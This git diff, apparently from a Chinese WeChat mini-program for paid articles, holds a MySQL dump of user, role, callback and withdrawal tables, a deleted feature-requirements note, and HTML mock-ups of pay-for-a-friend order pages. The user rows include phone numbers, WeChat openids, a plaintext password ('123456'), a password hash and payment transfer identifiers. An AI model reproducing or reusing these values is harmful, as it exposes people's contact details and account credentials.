('ogpTW5Wo_YS1-EG8Y7QzAlqEPJ5s', 'ogpTW5Wo_YS1-EG8Y7QzAlqEPJ5s', '微信用户PJ5s', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULQEPJ5S', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:35:09', '2026-02-13 06:35:09', NULL, 'e0+LS+76K2hscpnFeFP46g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Wsm8-vMf8tO4-sIrE11DWo', 'ogpTW5Wsm8-vMf8tO4-sIrE11DWo', '微信用户1DWo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULE11DWO', '[\"11.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:55:43', '2026-02-24 08:55:54', NULL, 'u5FvPkNqaP3Z1N7erarHWw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', '微信用户i1VA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4EI1VA', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:47:12', '2026-03-10 12:20:56', NULL, 'cWfTxvcNKIiiD8J5w1Sz4w==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XACjbmOEnO_HzDRNodY5Wg', 'ogpTW5XACjbmOEnO_HzDRNodY5Wg', '微信用户Y5Wg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULODY5WG', '[]', 0, 0.00, 0.00, 0, '2026-02-09 12:10:41', '2026-02-09 12:10:41', NULL, 'V1tRRGlsW/4UswCUDEsq9w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XAO0-SHyykUlMcOhaiNwvM', 'ogpTW5XAO0-SHyykUlMcOhaiNwvM', '微信用户NwvM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULAINWVM', '[]', 0, 0.00, 0.00, 0, '2026-01-30 10:21:03', '2026-01-30 10:21:03', NULL, 'i+t4Pnt6Xq+dr1uu4VC0rQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Xep2TNeB5TyVHNRfTXli0g', 'ogpTW5Xep2TNeB5TyVHNRfTXli0g', '微信用户li0g', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTXLI0G', '[]', 0, 0.00, 0.00, 0, '2026-02-12 10:08:08', '2026-02-12 10:08:08', NULL, 'K25Masxf4emGPaXvUa01hQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XjR-LVCsY4uAW1bn_pkzzQ', 'ogpTW5XjR-LVCsY4uAW1bn_pkzzQ', '微信用户kzzQ', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL_PKZZQ', '[]', 0, 0.00, 0.00, 0, '2026-03-07 10:43:14', '2026-03-07 10:43:14', NULL, 'LBIZ1x+VZvpeAX4wBv6wvA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XM49OevG_BfdaPS2ExGOLs', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', '微信用户GOLs', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEXGOLS', '[]', 0, 0.00, 0.00, 0, '2026-03-05 06:29:42', '2026-03-05 06:29:42', NULL, 'YMWjv5M7OTTAIEzPzTfngQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XNtYeFmBJrfoi8XZMkzty0', 'ogpTW5XNtYeFmBJrfoi8XZMkzty0', '微信用户zty0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMKZTY0', '[\"2.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:20:53', '2026-02-25 10:18:20', NULL, '3Ag0q0Rrm04/Xct0cVDg/A==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', '微信用户Qj7c', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULL7QJ7C', '[]', 0, 0.00, 0.00, 0, '2026-03-10 22:17:59', '2026-03-10 22:17:59', NULL, 'TlB5+P/dhktIBEGJ3Rt+Ng==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Y47x3Mr1_Y99XrBHw97zrk', 'ogpTW5Y47x3Mr1_Y99XrBHw97zrk', '微信用户7zrk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULW97ZRK', '[]', 0, 0.00, 0.00, 0, '2026-02-25 09:12:25', '2026-02-25 09:12:25', NULL, 'e27qz4eJKPPmLSbx9PoY4Q==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YGWG42m5gxDmASx1sCLREo', 'ogpTW5YGWG42m5gxDmASx1sCLREo', '微信用户LREo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULSCLREO', '[]', 0, 0.00, 0.00, 0, '2026-03-07 16:35:43', '2026-03-07 16:35:43', NULL, 'd3tatl1vIVOA3bf5oZf9Vg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', 'ogpTW5YiTXYBuwQMe7Z3wFOv_Jy4', '微信用户_Jy4', '', '13524079039', 'Rocketpool', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOV_JY4', '[]', 0, 0.00, 0.00, 0, '2026-02-25 08:17:54', '2026-03-09 00:03:49', NULL, 'iaYeiXQXdUKQVJ4aKKuiww==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YmVi5VbAiljywgz3RYH_u0', 'ogpTW5YmVi5VbAiljywgz3RYH_u0', '微信用户H_u0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULRYH_U0', '[]', 0, 0.00, 0.00, 0, '2026-02-12 11:18:40', '2026-02-12 11:18:40', NULL, '2fJCq+H9iNNymWmMBgsWPQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YNHCVisZBvT3uvcXGCBAmk', 'ogpTW5YNHCVisZBvT3uvcXGCBAmk', '微信用户BAmk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGCBAMK', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:35:25', '2026-02-26 09:35:25', NULL, 'X/buBArXpPw4am7lgitv3A==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Yt-Pa6LPoVhWYkiPk4J4wA', 'ogpTW5Yt-Pa6LPoVhWYkiPk4J4wA', '微信用户J4wA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULK4J4WA', '[]', 0, 0.00, 0.00, 0, '2026-03-06 23:17:13', '2026-03-06 23:17:13', NULL, 'lGav7brGoqQmRBS8LIQ9YA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Ytz5To8myZ17wFaKiHUPxQ', 'ogpTW5Ytz5To8myZ17wFaKiHUPxQ', '微信用户UPxQ', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIHUPXQ', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:13:17', '2026-02-26 09:13:17', NULL, 'LZq1SWmsTH/weA0gL2Ei0w==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5YXuYxE0gJ_sZHciSPu6RUk', 'ogpTW5YXuYxE0gJ_sZHciSPu6RUk', '微信用户6RUk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULPU6RUK', '[]', 0, 0.00, 0.00, 0, '2026-03-07 16:27:56', '2026-03-07 16:27:56', NULL, 'vgopaqAjHPxrfFxo7ggyDQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Z_SdI82eULXgFNJl4sT1fk', 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', '微信用户T1fk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4ST1FK', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:25:38', '2026-03-07 23:25:06', NULL, 'gTHOosXApzTkqZ3/HBAi3A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ZCoDNYWYO6kLpp76WK8pw8', 'ogpTW5ZCoDNYWYO6kLpp76WK8pw8', '微信用户8pw8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULWK8PW8', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:27:14', '2026-03-07 01:27:14', NULL, 'Fe+gSQsZc92QkslYxbXVqg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ZeHTG5gcgtHzHvHZhD7RRc', 'ogpTW5ZeHTG5gcgtHzHvHZhD7RRc', '微信用户7RRc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULHD7RRC', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:25:45', '2026-02-13 06:25:45', NULL, 'CF+7YfL+zpGSvWSBgKH7Mw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', '微信用户8F7w', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULLD8F7W', '[\"9.13\", \"8.1\", \"8.3\"]', 1, 0.00, 0.00, 0, '2026-01-31 10:18:00', '2026-01-31 10:25:42', NULL, 'reCvTbsEh93t7ki1MT8d/g==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('user_mktgbdtbr0ojt10tp', NULL, '卡若', NULL, '15880802661', 'udbfnvtk', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL7ELS', NULL, 1, 0.00, 0.00, 0, '2026-01-25 16:03:00', '2026-03-11 02:31:16', '123456', NULL, NULL, 1, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-01-24 16:00:00', '5', NULL, NULL, NULL, NULL, 0, 0, '2026-03-11 02:31:16', 99, '创始人'); -INSERT INTO `users` VALUES ('user_ml7oqpe43e4bc9ido', NULL, '用户0001', NULL, '15260150001', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJQX4', NULL, 0, 0.00, 0.00, 0, '2026-02-04 15:07:39', '2026-02-04 15:07:39', '24b4824c36e4d95865f18f156a7338dc:528c992a640bf43dd9f286a1bddf1404eeb7d40640ebbf66fd0f94e8ce15614d', NULL, NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); - --- ---------------------------- --- Table structure for vip_roles --- ---------------------------- -DROP TABLE IF EXISTS `vip_roles`; -CREATE TABLE `vip_roles` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `sort` bigint(20) NULL DEFAULT 0, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of vip_roles --- ---------------------------- -INSERT INTO `vip_roles` VALUES (1, '创始人', 1, NULL, NULL); -INSERT INTO `vip_roles` VALUES (2, '投资人', 2, NULL, NULL); -INSERT INTO `vip_roles` VALUES (3, '产品经理', 3, NULL, NULL); -INSERT INTO `vip_roles` VALUES (4, '技术负责人', 4, NULL, NULL); -INSERT INTO `vip_roles` VALUES (5, '运营总监', 5, NULL, NULL); -INSERT INTO `vip_roles` VALUES (6, '销售总监', 6, NULL, NULL); -INSERT INTO `vip_roles` VALUES (7, '市场总监', 7, NULL, NULL); -INSERT INTO `vip_roles` VALUES (8, '合伙人', 8, NULL, NULL); -INSERT INTO `vip_roles` VALUES (9, '顾问', 9, NULL, NULL); -INSERT INTO `vip_roles` VALUES (10, '品牌主理人', 10, NULL, NULL); - --- ---------------------------- --- Table structure for wechat_callback_logs --- ---------------------------- -DROP TABLE IF EXISTS `wechat_callback_logs`; -CREATE TABLE `wechat_callback_logs` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `callback_type` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `out_batch_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `out_detail_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `fail_reason` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `handler_result` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `handler_error` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `request_body` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_wechat_callback_logs_callback_type`(`callback_type`) USING BTREE, - INDEX `idx_wechat_callback_logs_out_batch_no`(`out_batch_no`) USING BTREE, - INDEX `idx_wechat_callback_logs_out_detail_no`(`out_detail_no`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of wechat_callback_logs --- ---------------------------- -INSERT INTO `wechat_callback_logs` VALUES (4, 'transfer', 'WD1772271618875406', 'WD1772271618875406', '1330000114850082603050052708391218', 'SUCCESS', '', 'success', '', '', '2026-03-05 09:58:31.238'); - --- ---------------------------- --- Table structure for withdrawals --- ---------------------------- -DROP TABLE IF EXISTS `withdrawals`; -CREATE TABLE `withdrawals` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `batch_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `package_info` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `amount` decimal(10, 2) NOT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_openid` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `transaction_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `error_message` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `processed_at` datetime(3) NULL DEFAULT NULL, - `batch_no` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `detail_no` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `remark` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `fail_reason` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `user_confirmed_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'pending=待审核,processing=已审批等待打款,pending_confirm=待用户确认,success=成功,failed=失败' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of withdrawals --- ---------------------------- -INSERT INTO `withdrawals` VALUES ('WD1772271618875406', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'udbfnvtk', '1330000114850082603050052708391218', 'ABBQO+oYAAABAAAAAAD9e7j8nLkXzaSZglOpaRAAAADnGpepZahT9IkJjn90+1qgwedDiyxQI4ojpWB2s9qikipckRkBI4jguR+35ZwjctYnCvrNFwdplQcJopGjz/lw9FvRLtmEPZ/YJ46TvkcY0typCoA=', 1.62, 'success', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', NULL, NULL, '2026-02-28 09:40:18.902', '2026-03-05 09:58:31.220', 'WD1772271618875406', 'WD1772271618875406', NULL, NULL, NULL); - -SET FOREIGN_KEY_CHECKS = 1; diff --git a/临时需求池/2026-03-16-文章编辑自动创建@和#.md b/临时需求池/2026-03-16-文章编辑自动创建@和#.md deleted file mode 100644 index 58b80fd5..00000000 --- a/临时需求池/2026-03-16-文章编辑自动创建@和#.md +++ /dev/null @@ -1,75 +0,0 @@ -# 需求:文章编辑时 @某人 / #标签 自动创建并绑定 - -> 加个需求:用户添加/编辑文章时,@某人 若不存在则自动新增到「链接人与事」并同步存客宝;#某个标签 若不存在则自动新增到「链接标签」并默认配置。 - ---- - -## 一、需求描述 - -| 场景 | 当前行为 | 期望行为 | -|------|----------|----------| -| 编辑文章输入 `@卡若` | 若 persons 中无「卡若」→ 保持纯文本,不解析 | 自动创建 Person「卡若」+ 同步存客宝计划 → 转为可点击的 mention | -| 编辑文章输入 `#创业资源` | 若 linkTags 中无「创业资源」→ 保持纯文本 | 自动创建 LinkTag「创业资源」→ 转为可点击的 linkTag | -| 已存在 | 正常绑定 | 不变 | - ---- - -## 二、三端分析 - -| 端 | 分析 | 任务 | -|----|------|------| -| **小程序** | 无变更,content 解析逻辑不变 | 无 | -| **管理端** | 保存前需「确保存在」:对 content 中不存在的 @name 调用创建 Person,对 #label 调用创建 LinkTag,再执行 autoLinkContent | 1. 提取 content 中所有 @xxx、#xxx
2. 对不存在的调用后端「确保存在」接口
3. 刷新 persons/linkTags 后 autoLinkContent | -| **后端** | 需提供「按名称确保 Person 存在」「按 label 确保 LinkTag 存在」能力 | 1. 新增或扩展接口支持简化创建
2. Person:无 deviceGroups 时用默认配置创建存客宝计划
3. LinkTag:默认 type=url、url 空 | - ---- - -## 三、接口契约 - -### 3.1 确保 Person 存在 - -**方案**:扩展 `POST /api/db/persons`,支持仅传 `name` 的简化创建;或新增 `POST /api/db/persons/ensure`。 - -| 请求 | 说明 | -|------|------| -| `{ "name": "卡若" }` | 按 name 查找,存在则返回;不存在则创建(personId=name_slug、无 deviceGroups、调存客宝用默认配置) | - -**默认配置**:greeting/tips 空,addInterval=1,startTime=09:00,endTime=18:00,deviceGroups 空(存客宝允许无设备时创建?需确认) - -### 3.2 确保 LinkTag 存在 - -**方案**:扩展 `POST /api/db/link-tags`,支持仅传 `label`,tagId 自动生成(label 或 slug(label))。 - -| 请求 | 说明 | -|------|------| -| `{ "label": "创业资源" }` 或 `{ "tagId": "创业资源", "label": "创业资源", "type": "url", "url": "" }` | 按 label 查找,存在则返回;不存在则创建,默认 type=url、url 空 | - ---- - -## 四、任务指派 - -| 序号 | 角色 | 任务 | -|------|------|------| -| 1 | 后端 | 扩展 DBPersonSave:支持仅 name,按 name 查 persons 表(若 persons 有 name 列唯一则用;否则需确认按 name 查逻辑);不存在时用默认配置创建 + 调存客宝(deviceGroups 空时是否允许需验证) | -| 2 | 后端 | 扩展 DBLinkTagSave 或新增 ensure:支持仅 label,按 label 查;不存在时创建,tagId=label,type=url,url="" | -| 3 | 管理端 | handleSaveSection/handleCreateSection 前:extractMentionsAndTags(content) → 对每个 @name 若 persons 无则 POST persons ensure;对每个 #label 若 linkTags 无则 POST link-tags ensure → loadPersons/loadLinkTags → autoLinkContent | - ---- - -## 五、验收标准 - -- [ ] 编辑文章输入 `@新人物`(链接人与事中无)→ 保存 → 链接人与事列表出现「新人物」,存客宝有对应计划 -- [ ] 编辑文章输入 `#新标签`(链接标签中无)→ 保存 → 链接标签列表出现「新标签」 -- [ ] 小程序阅读页点击 @新人物、#新标签 可正常跳转/加好友 -- [ ] 已存在的 @某人、#标签 行为不变 - ---- - -## 六、实施记录 - -- 2026-03-16:后端扩展 DBPersonSave(按 name 查找)、DBLinkTagSave(按 label 查找,tagId 可缺省);管理端 ensureMentionsAndTags + handleSaveSection/handleCreateSection 集成 - -## 七、风险与待确认 - -- ~~存客宝创建计划时 deviceGroups 为空是否允许?~~ 已确认:deviceGroups 必填;未传时默认选择名为 soul 的设备(ckbOpenGetDefaultDeviceID) -- Person 按 name 查找:取第一个匹配;若有多人同名,会复用第一个 diff --git a/代付页面/stitch_soul/_1/code.html b/代付页面/stitch_soul/_1/code.html new file mode 100644 index 00000000..a08bf703 --- /dev/null +++ b/代付页面/stitch_soul/_1/code.html @@ -0,0 +1,143 @@ + + + + + +代付订单详情 - 我发起的 + + + + + + + +
+ +

代付订单详情

+
+ +
+ +
+
+
+
+FREE GIFT +

3000万流水如何跑出来(退税模式解析)

+

深入剖析跨境电商退税合规路径,解析三千万级流水规模下的财务闭环与架构...

+
+
+ + + +
+
+
+“我已为你买单,点击免费阅读” + + + +
+
+
+ + +
+
+

领取进度

+已领取 3 / 5 +
+ +
+
+
+
+ + +
+

领取详情

+
+ +
+
+User Avatar +
+

王小明

+

通过分享链接领取

+
+
+10-24 14:20 +
+ +
+
+User Avatar +
+

Li Hua

+

通过微信群领取

+
+
+10-24 15:05 +
+ +
+
+User Avatar +
+

张大伟

+

通过分享链接领取

+
+
+10-24 16:45 +
+ +
+
+
+? +
+
+

待领取

+

剩余 2 个名额

+
+
+
+
+
+ +
+ +
+ +
+ + \ No newline at end of file diff --git a/代付页面/stitch_soul/_1/screen.png b/代付页面/stitch_soul/_1/screen.png new file mode 100644 index 00000000..44d4c7f6 Binary files /dev/null and b/代付页面/stitch_soul/_1/screen.png differ diff --git a/代付页面/stitch_soul/_2/code.html b/代付页面/stitch_soul/_2/code.html new file mode 100644 index 00000000..7d0e007e --- /dev/null +++ b/代付页面/stitch_soul/_2/code.html @@ -0,0 +1,133 @@ + + + + + +生成代付链接 - 支付确认 + + + + + + + +
+ + + +
+ + + + + \ No newline at end of file diff --git a/代付页面/stitch_soul/_2/screen.png b/代付页面/stitch_soul/_2/screen.png new file mode 100644 index 00000000..f086a12e Binary files /dev/null and b/代付页面/stitch_soul/_2/screen.png differ diff --git a/代付页面/stitch_soul/_3/code.html b/代付页面/stitch_soul/_3/code.html new file mode 100644 index 00000000..b110690c --- /dev/null +++ b/代付页面/stitch_soul/_3/code.html @@ -0,0 +1,181 @@ + + + + + +订单列表 - 代付共享 + + + + + + + +
+
+ +

订单列表

+
+
+
+ +
+ +
+ +
+
+

3000万流水如何跑出来(退税模式解析)

+¥99.00 +
+
+
+总共 5 份 +· +还剩 2 份 +
+ +
+
+ +
+
+

跨境电商财务合规与架构设计实战手册

+¥128.00 +
+
+
+总共 3 份 +· +已领完 +
+ +
+
+
+ + +
+ +
+
+

2024全球供应链趋势分析报告

+¥59.00 +
+ +
+
+
+Avatar +
+
+

为好友代付

+

张小龙

+
+
+ +
+
+ +
+
+

高保真原型设计进阶课

+¥199.00 +
+
+
+
+Avatar +
+
+

为好友代付

+

李建国

+
+
+ +
+
+
+ +
+ +
+ +
